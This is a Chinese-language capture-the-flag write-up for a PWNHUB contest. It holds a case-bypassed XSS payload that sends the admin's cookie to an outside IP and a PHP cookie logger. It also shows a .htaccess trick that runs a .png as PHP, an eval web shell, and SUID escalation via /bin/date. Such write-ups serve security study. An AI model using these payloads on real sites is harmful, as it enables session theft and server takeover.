[PWNHUB]十一月公开赛

发布于 2021-11-29  34 次阅读


image-20211117164314149

打开题目,登录注册页面,尝试注册admin,提示已经被注册。

注册一个husins/123456用户进入

image-20211117164433635

进入之后发现又三个功能点,提交留言, 查看留言,上传文件,其中上传文件需要管理员用户

因此,接下来思路就是获取管理员权限。

提交留言、查看留言组合在一起,一开始我的思路是二次注入。

但是试了好多语句,都失败了,这时候想到xss 也可以获取管理员cookie鸭:

 <script>alert(1);<script>
image-20211117164912338

发现语句变成这样了,关键字被过滤,经测试大小写可绕过,下一步就是获取管理员Cookie:

 xss语句(注意这里的单引号也被过滤了,要用双引号):
 <ScRipt>document.location="http://121.199.3.139:8848/?cookie="+document.cookie;</scRipt>husins
 上面的加入的husins,可以替换为任何,目的是看语句是否被当作js执行了
 ​
 vps启动web服务(这里不启动php服务,开启nc监听或者开启python2 -m SimpleHTTPServer都可以,主要能获取get请求的值就行):
 <?php
  $cookie=$_GET["cookie"];
  file_put_contents('cookie.txt',$cookie);
 

稍等片刻,就可以获取到管理员的cookie,使用管理员cookie进行登录:

image-20211117165631178

在upload页面发现备份文件泄露,下载并查看:

image-20211117165731569

在xssbot中发现管理员密码,极大的方便了我们上传文件

image-20211117165936240

发现还存在apache2.conf配置文件:

image-20211117170023713

根据配置项,我们可以看出:

  • 可以使用.htaccess文件上传的手段
  • upload目录存在目录遍历
  • upload目录的php不会被解析

因此,我们构建如下文件:

.htaccess

 <FilesMatch “husins.png”>
 SetHandler application/x-httpd-php
 php_flag engine on
 </FilesMatch>

husins.png

 <?php eval($_GET[‘cmd’]);?>

绕过原理:

image-20211117170524793

成功连接蚁剑:

image-20211117170606611

在根目录看到flag文件但是权限是0400,蚁剑连接的权限是www-data根本查看不了

需要提权,在start.sh文件中看到 配置suid提权

image-20211117170736966

想到可以用/bin/date提权:

suid提权,通过参考该文章了解到提权方式,最终获取flag。

image-20211117170948647